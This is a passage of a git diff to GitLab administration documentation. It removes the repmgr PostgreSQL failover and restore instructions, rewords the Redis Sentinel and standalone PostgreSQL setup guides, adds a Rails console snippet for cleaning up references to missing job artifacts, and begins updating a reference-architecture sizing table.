- ```console
- # gitlab-ctl repmgr standby setup MASTER_NODE_NAME
- Doing this will delete the entire contents of /var/opt/gitlab/postgresql/data
- If this is not what you want, hit Ctrl-C now to exit
- To skip waiting, rerun with the -w option
- Sleeping for 30 seconds
- Stopping the database
- Removing the data
- Cloning the data
- Starting the database
- Registering the node with the cluster
- ok: run: repmgrd: (pid 19068) 0s
- ```
-
-1. Verify the node now appears in the cluster:
-
- ```shell
- gitlab-ctl repmgr cluster show
- ```
-
- The output should be similar to the following:
-
- ```plaintext
- Role | Name | Upstream | Connection String
- ----------+---------|-----------|------------------------------------------------
- * master | MASTER | | host=MASTER_NODE_NAME user=gitlab_repmgr dbname=gitlab_repmgr
- standby | STANDBY | MASTER | host=STANDBY_HOSTNAME user=gitlab_repmgr dbname=gitlab_repmgr
- ```
-
-Repeat the above steps on all secondary nodes.
-
-#### Database checkpoint
-
-Before moving on, make sure the databases are configured correctly. Run the
-following command on the **primary** node to verify that replication is working
-properly:
-
-```shell
-gitlab-ctl repmgr cluster show
-```
-
-The output should be similar to:
-
-```plaintext
-Role | Name | Upstream | Connection String
-----------+--------------|--------------|--------------------------------------------------------------------
-* master | MASTER | | host=MASTER port=5432 user=gitlab_repmgr dbname=gitlab_repmgr
- standby | STANDBY | MASTER | host=STANDBY port=5432 user=gitlab_repmgr dbname=gitlab_repmgr
-```
-
-If the 'Role' column for any node says "FAILED", check the
-[Troubleshooting section](#troubleshooting) before proceeding.
-
-Also, check that the check master command works successfully on each node:
-
-```shell
-su - gitlab-consul
-gitlab-ctl repmgr-check-master || echo 'This node is a standby repmgr node'
-```
-
-This command relies on exit codes to tell Consul whether a particular node is a master
-or secondary. The most important thing here is that this command does not produce errors.
-If there are errors it's most likely due to incorrect `gitlab-consul` database user permissions.
-Check the [Troubleshooting section](#troubleshooting) before proceeding.
-
-### Repmgr failover procedure
-
-By default, if the master database fails, `repmgrd` should promote one of the
-standby nodes to master automatically, and Consul will update PgBouncer with
-the new master.
-
-If you need to failover manually, you have two options:
-
-**Shutdown the current master database**
-
-Run:
-
-```shell
-gitlab-ctl stop postgresql
-```
-
-The automated failover process will see this and failover to one of the
-standby nodes.
-
-**Or perform a manual failover**
-
-1. Ensure the old master node is not still active.
-1. Login to the server that should become the new master and run:
-
- ```shell
- gitlab-ctl repmgr standby promote
- ```
-
-1. If there are any other standby servers in the cluster, have them follow
- the new master server:
-
- ```shell
- gitlab-ctl repmgr standby follow NEW_MASTER
- ```
-
-#### Geo secondary site considerations
-
-When a Geo secondary site is replicating from a primary site that uses `repmgr` and `PgBouncer`, [replicating through PgBouncer is not supported](https://github.com/pgbouncer/pgbouncer/issues/382#issuecomment-517911529) and the secondary must replicate directly from the leader node in the `repmgr` cluster. Therefore, when there is a failover in the `repmgr` cluster, you will need to manually re-point your secondary site to replicate from the new leader with:
-
-```shell
-sudo gitlab-ctl replicate-geo-database --host=<new_leader_ip> --replication-slot=<slot_name>
-```
-
-Otherwise, the replication will not happen anymore, even if the original node gets re-added as a follower node. This will re-sync your secondary site database and may take a long time depending on the amount of data to sync. You may also need to run `gitlab-ctl reconfigure` if replication is still not working after re-syncing.
-
-### Repmgr Restore procedure
-
-If a node fails, it can be removed from the cluster, or added back as a standby
-after it has been restored to service.
-
-#### Remove a standby from the cluster
-
- From any other node in the cluster, run:
-
- ```shell
- gitlab-ctl repmgr standby unregister --node=X
- ```
-
- where X is the value of node in `repmgr.conf` on the old server.
-
- To find this, you can use:
-
- ```shell
- awk -F = '$1 == "node" { print $2 }' /var/opt/gitlab/postgresql/repmgr.conf
- ```
-
- It will output something like:
-
- ```plaintext
- 959789412
- ```
-
- Then you will use this ID to unregister the node:
-
- ```shell
- gitlab-ctl repmgr standby unregister --node=959789412
- ```
-
-#### Add a node as a standby server
-
- From the standby node, run:
-
- ```shell
- gitlab-ctl repmgr standby follow NEW_MASTER
- gitlab-ctl restart repmgrd
- ```
-
- WARNING:
- When the server is brought back online, and before
- you switch it to a standby node, repmgr will report that there are two masters.
- If there are any clients that are still attempting to write to the old master,
- this will cause a split, and the old master will need to be resynced from
- scratch by performing a `gitlab-ctl repmgr standby setup NEW_MASTER`.
-
-#### Add a failed master back into the cluster as a standby node
-
- Once `repmgrd` and PostgreSQL are running, the node will need to follow the new
- as a standby node.
-
- ```shell
- gitlab-ctl repmgr standby follow NEW_MASTER
- ```
-
- Once the node is following the new master as a standby, the node needs to be
- [unregistered from the cluster on the new master node](#remove-a-standby-from-the-cluster).
-
- Once the old master node has been unregistered from the cluster, it will need
- to be setup as a new standby:
-
- ```shell
- gitlab-ctl repmgr standby setup NEW_MASTER
- ```
-
- Failure to unregister and read the old master node can lead to subsequent failovers
- not working.
-
-### Alternate configurations
-
-#### Database authorization
-
-By default, we give any host on the database network the permission to perform
-repmgr operations using PostgreSQL's `trust` method. If you do not want this
-level of trust, there are alternatives.
-
-You can trust only the specific nodes that will be database clusters, or you
-can require md5 authentication.
-
-#### Trust specific addresses
-
-If you know the IP address, or FQDN of all database and PgBouncer nodes in the
-cluster, you can trust only those nodes.
-
-In `/etc/gitlab/gitlab.rb` on all of the database nodes, set
-`repmgr['trust_auth_cidr_addresses']` to an array of strings containing all of
-the addresses.
-
-If setting to a node's FQDN, they must have a corresponding PTR record in DNS.
-If setting to a node's IP address, specify it as `XXX.XXX.XXX.XXX/32`.
-
-For example:
-
-```ruby
-repmgr['trust_auth_cidr_addresses'] = %w(192.168.1.44/32 db2.example.com)
-```
-
-#### MD5 Authentication
-
-If you are running on an untrusted network, repmgr can use md5 authentication
-with a [`.pgpass` file](https://www.postgresql.org/docs/11/libpq-pgpass.html)
-to authenticate.
-
-You can specify by IP address, FQDN, or by subnet, using the same format as in
-the previous section:
-
-1. On the current master node, create a password for the `gitlab` and
- `gitlab_repmgr` user:
-
- ```shell
- gitlab-psql -d template1
- template1=# \password gitlab_repmgr
- Enter password: ****
- Confirm password: ****
- template1=# \password gitlab
- ```
-
-1. On each database node:
-
- 1. Edit `/etc/gitlab/gitlab.rb`:
- 1. Ensure `repmgr['trust_auth_cidr_addresses']` is **not** set
- 1. Set `postgresql['md5_auth_cidr_addresses']` to the desired value
- 1. Set `postgresql['sql_replication_user'] = 'gitlab_repmgr'`
- 1. Reconfigure with `gitlab-ctl reconfigure`
- 1. Restart PostgreSQL with `gitlab-ctl restart postgresql`
-
- 1. Create a `.pgpass` file. Enter the `gitlab_repmgr` password twice to
- when asked:
-
- ```shell
- gitlab-ctl write-pgpass --user gitlab_repmgr --hostuser gitlab-psql --database '*'
- ```
-
-1. On each PgBouncer node, edit `/etc/gitlab/gitlab.rb`:
- 1. Ensure `gitlab_rails['db_password']` is set to the plaintext password for
- the `gitlab` database user
- 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect
-
## Troubleshooting
### Consul and PostgreSQL changes not taking effect
@@ -1387,25 +985,10 @@ Due to the potential impacts, `gitlab-ctl reconfigure` only reloads Consul and P
To restart either service, run `gitlab-ctl restart SERVICE`
-For PostgreSQL, it is usually safe to restart the master node by default. Automatic failover defaults to a 1 minute timeout. Provided the database returns before then, nothing else needs to be done. To be safe, you can stop `repmgrd` on the standby nodes first with `gitlab-ctl stop repmgrd`, then start afterwards with `gitlab-ctl start repmgrd`.
+For PostgreSQL, it is usually safe to restart the master node by default. Automatic failover defaults to a 1 minute timeout. Provided the database returns before then, nothing else needs to be done.
On the Consul server nodes, it is important to [restart the Consul service](../consul.md#restart-consul) in a controlled manner.
-### `gitlab-ctl repmgr-check-master` command produces errors
-
-If this command displays errors about database permissions it is likely that something failed during
-install, resulting in the `gitlab-consul` database user getting incorrect permissions. Follow these
-steps to fix the problem:
-
-1. On the master database node, connect to the database prompt - `gitlab-psql -d template1`
-1. Delete the `gitlab-consul` user - `DROP USER "gitlab-consul";`
-1. Exit the database prompt - `\q`
-1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) and the user will be re-added with the proper permissions.
-1. Change to the `gitlab-consul` user - `su - gitlab-consul`
-1. Try the check command again - `gitlab-ctl repmgr-check-master`.
-
-Now there should not be errors. If errors still occur then there is another problem.
-
### PgBouncer error `ERROR: pgbouncer cannot connect to server`
You may get this error when running `gitlab-rake gitlab:db:configure` or you
diff --git a/doc/administration/postgresql/standalone.md b/doc/administration/postgresql/standalone.md
index cca46a2ea8c..b21625acb56 100644
--- a/doc/administration/postgresql/standalone.md
+++ b/doc/administration/postgresql/standalone.md
@@ -17,8 +17,8 @@ together with Omnibus GitLab. This is recommended as part of our
1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab
package you want using *steps 1 and 2* from the GitLab downloads page.
- Do not complete any other steps on the download page.
-1. Generate a password hash for PostgreSQL. This assumes you will use the default
- username of `gitlab` (recommended). The command will request a password
+1. Generate a password hash for PostgreSQL. This assumes you are using the default
+ username of `gitlab` (recommended). The command requests a password
and confirmation. Use the value that is output by this command in the next
step as the value of `POSTGRESQL_PASSWORD_HASH`.
@@ -31,14 +31,12 @@ together with Omnibus GitLab. This is recommended as part of our
- `POSTGRESQL_PASSWORD_HASH` - The value output from the previous step
- `APPLICATION_SERVER_IP_BLOCKS` - A space delimited list of IP subnets or IP
- addresses of the GitLab application servers that will connect to the
+ addresses of the GitLab application servers that connect to the
database. Example: `%w(123.123.123.123/32 123.123.123.234/32)`
```ruby
# Disable all components except PostgreSQL
- roles ['postgres_role']
- repmgr['enable'] = false
- consul['enable'] = false
+ roles(['postgres_role'])
prometheus['enable'] = false
alertmanager['enable'] = false
pgbouncer_exporter['enable'] = false
@@ -59,12 +57,9 @@ together with Omnibus GitLab. This is recommended as part of our
gitlab_rails['auto_migrate'] = false
```
- NOTE:
- The role `postgres_role` was introduced with GitLab 10.3
-
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
1. Note the PostgreSQL node's IP address or hostname, port, and
- plain text password. These will be necessary when configuring the GitLab
+ plain text password. These are necessary when configuring the GitLab
application servers later.
1. [Enable monitoring](replication_and_failover.md#enable-monitoring)
diff --git a/doc/administration/pseudonymizer.md b/doc/administration/pseudonymizer.md
index 4aa73212e43..533ebe0ad2f 100644
--- a/doc/administration/pseudonymizer.md
+++ b/doc/administration/pseudonymizer.md
@@ -27,7 +27,7 @@ be textually exported. This ensures that:
To configure the Pseudonymizer, you need to:
- Provide a manifest file that describes which fields should be included or
- pseudonymized ([example `manifest.yml` file](https://gitlab.com/gitlab-org/gitlab/tree/master/config/pseudonymizer.yml)).
+ pseudonymized ([example `manifest.yml` file](https://gitlab.com/gitlab-org/gitlab/-/tree/master/config/pseudonymizer.yml)).
A default manifest is provided with the GitLab installation, using a relative file path that resolves from the Rails root.
Alternatively, you can use an absolute file path.
- Use an object storage and specify the connection parameters in the `pseudonymizer.upload.connection` configuration option.
diff --git a/doc/administration/raketasks/check.md b/doc/administration/raketasks/check.md
index 8d2ca103c82..7f344a00f72 100644
--- a/doc/administration/raketasks/check.md
+++ b/doc/administration/raketasks/check.md
@@ -34,10 +34,11 @@ exactly which repositories are causing the trouble.
- Receiving an error when trying to push code - `remote: error: cannot lock ref`
- A 500 error when viewing the GitLab dashboard or when accessing a specific project.
-### Check all GitLab repositories
+### Check project code repositories
-This task loops through all repositories on the GitLab server and runs the
-integrity check described previously.
+This task loops through the project code repositories and runs the integrity check
+described previously. If a project uses a pool repository, that will also be checked.
+Other types of Git repositories [are not checked](https://gitlab.com/gitlab-org/gitaly/-/issues/3643).
**Omnibus Installation**
@@ -246,6 +247,41 @@ end
p "#{uploads_deleted} remote objects were destroyed."
```
+### Delete references to missing artifacts
+
+`gitlab-rake gitlab:artifacts:check VERBOSE=1` detects when artifacts (or `job.log` files):
+
+- Are deleted outside of GitLab.
+- Have references still in the GitLab database.
+
+When this scenario is detected, the Rake task displays an error message. For example:
+
+```shell
+Checking integrity of Job artifacts
+- 3..8: Failures: 2
+ - Job artifact: 3: #<Errno::ENOENT: No such file or directory @ rb_sysopen - /var/opt/gitlab/gitlab-rails/shared/artifacts/4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/2021_05_26/5/3/job.log>
+ - Job artifact: 8: #<Errno::ENOENT: No such file or directory @ rb_sysopen - /var/opt/gitlab/gitlab-rails/shared/artifacts/4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/2021_05_26/6/8/job.log>
+Done!
+
+```
+
+To delete these references to missing local artifacts (`job.log` files):
+
+1. Open the [GitLab Rails Console](../operations/rails_console.md#starting-a-rails-console-session).
+1. Run the following Ruby code:
+
+ ```ruby
+ artifacts_deleted = 0
+ ::Ci::JobArtifact.all.each do |artifact| ### Iterate artifacts
+ # next if artifact.file.filename != "job.log" ### Uncomment if only `job.log` files' references are to be processed
+ next if artifact.file.exists? ### Skip if the file reference is valid
+ artifacts_deleted += 1
+ puts "#{artifact.id} #{artifact.file.path} is missing." ### Allow verification before destroy
+ # artifact.destroy! ### Uncomment to actually destroy
+ end
+ puts "Count of identified/destroyed invalid references: #{artifacts_deleted}"
+ ```
+
### Delete references to missing LFS objects
If `gitlab-rake gitlab:lfs:check VERBOSE=1` detects LFS objects that exist in the database
diff --git a/doc/administration/read_only_gitlab.md b/doc/administration/read_only_gitlab.md
index 698da80a07c..c8931eb79df 100644
--- a/doc/administration/read_only_gitlab.md
+++ b/doc/administration/read_only_gitlab.md
@@ -19,10 +19,10 @@ The configuration for doing so depends on your desired outcome.
The first thing you'll want to accomplish is to ensure that no changes can be
made to your repositories. There's two ways you can accomplish that:
-- Either stop Unicorn/Puma to make the internal API unreachable:
+- Either stop Puma to make the internal API unreachable:
```shell
- sudo gitlab-ctl stop puma # or unicorn
+ sudo gitlab-ctl stop puma
```
- Or, open up a Rails console:
@@ -46,19 +46,19 @@ made to your repositories. There's two ways you can accomplish that:
## Shut down the GitLab UI
If you don't mind shutting down the GitLab UI, then the easiest approach is to
-stop `sidekiq` and `puma`/`unicorn`, and you'll effectively ensure that no
+stop `sidekiq` and `puma`, and you'll effectively ensure that no
changes can be made to GitLab:
```shell
sudo gitlab-ctl stop sidekiq
-sudo gitlab-ctl stop puma # or unicorn
+sudo gitlab-ctl stop puma
```
When you're ready to revert this:
```shell
sudo gitlab-ctl start sidekiq
-sudo gitlab-ctl start puma # or unicorn
+sudo gitlab-ctl start puma
```
## Make the database read-only
diff --git a/doc/administration/redis/replication_and_failover.md b/doc/administration/redis/replication_and_failover.md
index 20a9fbd7d68..9fde91903e8 100644
--- a/doc/administration/redis/replication_and_failover.md
+++ b/doc/administration/redis/replication_and_failover.md
@@ -42,7 +42,7 @@ There should be no more than one Sentinel on the same machine though.
You also need to take into consideration the underlying network topology,
making sure you have redundant connectivity between Redis / Sentinel and
-GitLab instances, otherwise the networks will become a single point of
+GitLab instances, otherwise the networks become a single point of
failure.
Running Redis in a scaled environment requires a few things:
@@ -73,7 +73,7 @@ whole cluster down, invalidating the failover effort.
## Recommended setup
-For a minimal setup, you will install the Omnibus GitLab package in `3`
+For a minimal setup, you need to install the Omnibus GitLab package in `3`
**independent** machines, both with **Redis** and **Sentinel**:
- Redis Primary + Sentinel
@@ -84,7 +84,7 @@ If you are not sure or don't understand why and where the amount of nodes come
from, read [Redis setup overview](#redis-setup-overview) and
[Sentinel setup overview](#sentinel-setup-overview).
-For a recommended setup that can resist more failures, you will install
+For a recommended setup that can resist more failures, you need to install
the Omnibus GitLab package in `5` **independent** machines, both with
**Redis** and **Sentinel**:
@@ -99,9 +99,9 @@ the Omnibus GitLab package in `5` **independent** machines, both with
You must have at least `3` Redis servers: `1` primary, `2` Replicas, and they
need to each be on independent machines (see explanation above).
-You can have additional Redis nodes, that will help survive a situation
+You can have additional Redis nodes, that helps to survive a situation
where more nodes goes down. Whenever there is only `2` nodes online, a failover
-will not be initiated.
+is not initiated.
As an example, if you have `6` Redis nodes, a maximum of `3` can be
simultaneously down.
@@ -117,7 +117,7 @@ in a failover situation, any **Replica** can be promoted as the new **Primary**
the Sentinel servers.
The replication requires authentication, so you need to define a password to
-protect all Redis nodes and the Sentinels. They will all share the same
+protect all Redis nodes and the Sentinels. All of them share the same
password, and all instances must be able to talk to
each other over the network.
@@ -130,7 +130,7 @@ of Sentinels agreeing a node is down) to be able to start a failover.
Whenever the **quorum** is met, the **majority** of all known Sentinel nodes
need to be available and reachable, so that they can elect the Sentinel **leader**
-who will take all the decisions to restore the service availability by:
+who takes all the decisions to restore the service availability by:
- Promoting a new **Primary**
- Reconfiguring the other **Replicas** and make them point to the new **Primary**
@@ -150,7 +150,7 @@ consensus algorithm to be effective in the case of a failure.
In a `3` nodes topology, you can only afford `1` Sentinel node going down.
Whenever the **majority** of the Sentinels goes down, the network partition
-protection prevents destructive actions and a failover **will not be started**.
+protection prevents destructive actions and a failover **is not started**.
Here are some examples:
@@ -159,11 +159,11 @@ Here are some examples:
The **Leader** election can sometimes fail the voting round when **consensus**
is not achieved (see the odd number of nodes requirement above). In that case,
-a new attempt will be made after the amount of time defined in
+a new attempt is made after the amount of time defined in
`sentinel['failover_timeout']` (in milliseconds).
NOTE:
-We will see where `sentinel['failover_timeout']` is defined later.
+We can see where `sentinel['failover_timeout']` is defined later.
The `failover_timeout` variable has a lot of different use cases. According to
the official documentation:
@@ -183,7 +183,7 @@ the official documentation:
- The maximum time a failover in progress waits for all the replicas to be
reconfigured as replicas of the new primary. However even after this time
- the replicas will be reconfigured by the Sentinels anyway, but not with
+ the replicas are reconfigured by the Sentinels anyway, but not with
the exact parallel-syncs progression as specified.
## Configuring Redis
@@ -195,7 +195,7 @@ If you already have Redis installed and running, read how to
[switch from a single-machine installation](#switching-from-an-existing-single-machine-installation).
NOTE:
-Redis nodes (both primary and replica) will need the same password defined in
+Redis nodes (both primary and replica) need the same password defined in
`redis['password']`. At any time during a failover the Sentinels can
reconfigure a node and change its status from primary to replica and vice versa.
@@ -218,14 +218,14 @@ The requirements for a Redis setup are the following:
### Switching from an existing single-machine installation
-If you already have a single-machine GitLab install running, you will need to
+If you already have a single-machine GitLab install running, you need to
replicate from this machine first, before de-activating the Redis instance
inside it.
-Your single-machine install will be the initial **Primary**, and the `3` others
+Your single-machine install is the initial **Primary**, and the `3` others
should be configured as **Replica** pointing to this machine.
-After replication catches up, you will need to stop services in the
+After replication catches up, you need to stop services in the
single-machine install, to rotate the **Primary** to one of the new nodes.
Make the required changes in configuration and restart the new nodes again.
@@ -259,7 +259,7 @@ If you fail to replicate first, you may loose data (unprocessed background jobs)
# sure you add extra firewall rules to prevent unauthorized access.
redis['bind'] = '10.0.0.1'
- # Define a port so Redis can listen for TCP requests which will allow other
+ # Define a port so Redis can listen for TCP requests which allows other
# machines to connect to it.
redis['port'] = 6379
@@ -303,7 +303,7 @@ Read more about [roles](https://docs.gitlab.com/omnibus/roles/).
# sure you add extra firewall rules to prevent unauthorized access.
redis['bind'] = '10.0.0.2'
- # Define a port so Redis can listen for TCP requests which will allow other
+ # Define a port so Redis can listen for TCP requests which allows other
# machines to connect to it.
redis['port'] = 6379
@@ -333,8 +333,8 @@ You can specify multiple roles like sentinel and Redis as:
Read more about [roles](https://docs.gitlab.com/omnibus/roles/).
These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after
-a failover, as the nodes will be managed by the Sentinels, and even after a
-`gitlab-ctl reconfigure`, they will get their configuration restored by
+a failover, as the nodes are managed by the Sentinels, and even after a
+`gitlab-ctl reconfigure`, they get their configuration restored by
the same Sentinels.
### Step 3. Configuring the Redis Sentinel instances
@@ -342,7 +342,7 @@ the same Sentinels.
NOTE:
If you are using an external Redis Sentinel instance, be sure
to exclude the `requirepass` parameter from the Sentinel
-configuration. This parameter will cause clients to report `NOAUTH
+configuration. This parameter causes clients to report `NOAUTH
Authentication required.`. [Redis Sentinel 3.2.x does not support
password authentication](https://github.com/antirez/redis/issues/3279).
@@ -362,8 +362,8 @@ multiple machines with the Sentinel daemon.
---
-1. SSH into the server that will host Redis Sentinel.
-1. **You can omit this step if the Sentinels will be hosted in the same node as
+1. SSH into the server that hosts Redis Sentinel.
+1. **You can omit this step if the Sentinels is hosted in the same node as
the other Redis instances.**
[Download/install](https://about.gitlab.com/install/) the
@@ -389,7 +389,7 @@ multiple machines with the Sentinel daemon.
# The IP of the primary Redis node.
redis['master_ip'] = '10.0.0.1'
- # Define a port so Redis can listen for TCP requests which will allow other
+ # Define a port so Redis can listen for TCP requests which allows other
# machines to connect to it.
redis['port'] = 6379
@@ -437,7 +437,7 @@ multiple machines with the Sentinel daemon.
##
## - The maximum time a failover in progress waits for all the replica to be
## reconfigured as replicas of the new primary. However even after this time
- ## the replicas will be reconfigured by the Sentinels anyway, but not with
+ ## the replicas are reconfigured by the Sentinels anyway, but not with
## the exact parallel-syncs progression as specified.
# sentinel['failover_timeout'] = 60000
```
@@ -511,7 +511,7 @@ If you enable Monitoring, it must be enabled on **all** Redis servers.
retry_join: %w(Y.Y.Y.Y consul1.gitlab.example.com Z.Z.Z.Z),
}
- # Set the network addresses that the exporters will listen on
+ # Set the network addresses that the exporters listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
```
@@ -528,7 +528,7 @@ In a real world usage, you would also set up firewall rules to prevent
unauthorized access from other machines and block traffic from the
outside (Internet).
-We will use the same `3` nodes with **Redis** + **Sentinel** topology
+We use the same `3` nodes with **Redis** + **Sentinel** topology
discussed in [Redis setup overview](#redis-setup-overview) and
[Sentinel setup overview](#sentinel-setup-overview) documentation.
@@ -540,11 +540,11 @@ Here is a list and description of each **machine** and the assigned **IP**:
- `10.0.0.4`: GitLab application
Please note that after the initial configuration, if a failover is initiated
-by the Sentinel nodes, the Redis nodes will be reconfigured and the **Primary**
-will change permanently (including in `redis.conf`) from one node to the other,
+by the Sentinel nodes, the Redis nodes are reconfigured and the **Primary**
+changes permanently (including in `redis.conf`) from one node to the other,
until a new failover is initiated again.
-The same thing will happen with `sentinel.conf` that will be overridden after the
+The same thing happens with `sentinel.conf` that is overridden after the
initial execution, after any new sentinel node starts watching the **Primary**,
or a failover promotes a different **Primary** node.
@@ -691,7 +691,7 @@ To make this work with Sentinel:
```
NOTE:
-For each persistence class, GitLab will default to using the
+For each persistence class, GitLab defaults to using the
configuration specified in `gitlab_rails['redis_sentinels']` unless
overridden by the previously described settings.
@@ -726,7 +726,7 @@ redis_replica_role['enable'] = true # enable only one of them
# When Redis primary or Replica role are enabled, the following services are
# enabled/disabled. Note that if Redis and Sentinel roles are combined, both
-# services will be enabled.
+# services are enabled.
# The following services are disabled
sentinel['enable'] = false
diff --git a/doc/administration/redis/replication_and_failover_external.md b/doc/administration/redis/replication_and_failover_external.md
index 2716d9bba37..141da2f79ec 100644
--- a/doc/administration/redis/replication_and_failover_external.md
+++ b/doc/administration/redis/replication_and_failover_external.md
@@ -21,7 +21,7 @@ The following are the requirements for providing your own Redis instance:
[requirements page](../../install/requirements.md).
- Standalone Redis or Redis high availability with Sentinel are supported. Redis
Cluster is not supported.
-- Managed Redis from cloud providers such as AWS ElastiCache will work. If these
+- Managed Redis from cloud providers such as AWS ElastiCache works fine. If these
services support high availability, be sure it is **not** the Redis Cluster type.
Note the Redis node's IP address or hostname, port, and password (if required).
@@ -53,13 +53,13 @@ Note the Redis node's IP address or hostname, port, and password (if required).
This is the documentation for configuring a scalable Redis setup when
you have installed Redis all by yourself and not using the bundled one that
comes with the Omnibus packages, although using the Omnibus GitLab packages is
-highly recommend as we optimize them specifically for GitLab, and we will take
+highly recommend as we optimize them specifically for GitLab, and we take
care of upgrading Redis to the latest supported version.
Note also that you may elect to override all references to
`/home/git/gitlab/config/resque.yml` in accordance with the advanced Redis
settings outlined in
-[Configuration Files Documentation](https://gitlab.com/gitlab-org/gitlab/blob/master/config/README.md).
+[Configuration Files Documentation](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/README.md).
We cannot stress enough the importance of reading the
[replication and failover](replication_and_failover.md) documentation of the
@@ -76,7 +76,7 @@ requirements:
(e.g., one from an internal network).
- Since Redis 3.2, you must define a password to receive external connections
(`requirepass`).
-- If you are using Redis with Sentinel, you will also need to define the same
+- If you are using Redis with Sentinel, you also need to define the same
password for the replica password definition (`masterauth`) in the same instance.
In addition, read the prerequisites as described in the
@@ -176,7 +176,7 @@ primary with IP `10.0.0.1` (some settings might overlap with the primary):
sentinel monitor gitlab-redis 10.0.0.1 6379 2
## Define with `sentinel down-after-milliseconds` the time in `ms`
- ## that an unresponsive server will be considered down.
+ ## that an unresponsive server is considered down.
sentinel down-after-milliseconds gitlab-redis 10000
## Define a value for `sentinel failover_timeout` in `ms`. This has multiple
@@ -197,7 +197,7 @@ primary with IP `10.0.0.1` (some settings might overlap with the primary):
##
## * The maximum time a failover in progress waits for all the replicas to be
## reconfigured as replicas of the new primary. However even after this time
- ## the replicas will be reconfigured by the Sentinels anyway, but not with
+ ## the replicas are reconfigured by the Sentinels anyway, but not with
## the exact parallel-syncs progression as specified.
sentinel failover_timeout 30000
```
@@ -218,7 +218,7 @@ The following steps should be performed in the GitLab application server
which ideally should not have Redis or Sentinels in the same machine:
1. Edit `/home/git/gitlab/config/resque.yml` following the example in
- [resque.yml.example](https://gitlab.com/gitlab-org/gitlab/blob/master/config/resque.yml.example), and uncomment the Sentinel lines, pointing to
+ [resque.yml.example](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/resque.yml.example), and uncomment the Sentinel lines, pointing to
the correct server credentials:
```yaml
@@ -249,7 +249,7 @@ In a real world usage, you would also set up firewall rules to prevent
unauthorized access from other machines, and block traffic from the
outside ([Internet](https://gitlab.com/gitlab-org/gitlab-foss/uploads/c4cc8cd353604bd80315f9384035ff9e/The_Internet_IT_Crowd.png)).
-For this example, **Sentinel 1** will be configured in the same machine as the
+For this example, **Sentinel 1** is configured in the same machine as the
**Redis Primary**, **Sentinel 2** and **Sentinel 3** in the same machines as the
**Replica 1** and **Replica 2** respectively.
@@ -261,11 +261,11 @@ Here is a list and description of each **machine** and the assigned **IP**:
- `10.0.0.4`: GitLab application
Please note that after the initial configuration, if a failover is initiated
-by the Sentinel nodes, the Redis nodes will be reconfigured and the **Primary**
-will change permanently (including in `redis.conf`) from one node to the other,
+by the Sentinel nodes, the Redis nodes are reconfigured and the **Primary**
+changes permanently (including in `redis.conf`) from one node to the other,
until a new failover is initiated again.
-The same thing will happen with `sentinel.conf` that will be overridden after the
+The same thing happens with `sentinel.conf` that is overridden after the
initial execution, after any new sentinel node starts watching the **Primary**,
or a failover promotes a different **Primary** node.
diff --git a/doc/administration/reference_architectures/10k_users.md b/doc/administration/reference_architectures/10k_users.md
index e4a699b962c..4627b27a45e 100644
--- a/doc/administration/reference_architectures/10k_users.md
+++ b/doc/administration/reference_architectures/10k_users.md
@@ -17,29 +17,34 @@ full list of reference architectures, see
| Service | Nodes | Configuration | GCP | AWS | Azure |
|--------------------------------------------|-------------|-------------------------|------------------|--------------|-----------|
-| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| Consul* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| PostgreSQL* | 3 | 8 vCPU, 30 GB memory | `n1-standard-8` | `m5.2xlarge` | `D8s v3` |
-| PgBouncer* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| Redis - Cache** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
-| Redis - Queues / Shared State** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
-| Redis Sentinel - Cache** | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` |
-| Redis Sentinel - Queues / Shared State** | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` |
+| External load balancing node(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Consul(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| PostgreSQL(1) | 3 | 8 vCPU, 30 GB memory | `n1-standard-8` | `m5.2xlarge` | `D8s v3` |
+| PgBouncer(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Internal load balancing node(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Redis - Cache(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
+| Redis - Queues / Shared State(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
+| Redis Sentinel - Cache(2) | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` |
+| Redis Sentinel - Queues / Shared State(2) | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` |
| Gitaly | 3 | 16 vCPU, 60 GB memory | `n1-standard-16` | `m5.4xlarge` | `D16s v3` |
| Praefect | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| Praefect PostgreSQL* | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Praefect PostgreSQL(1) | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
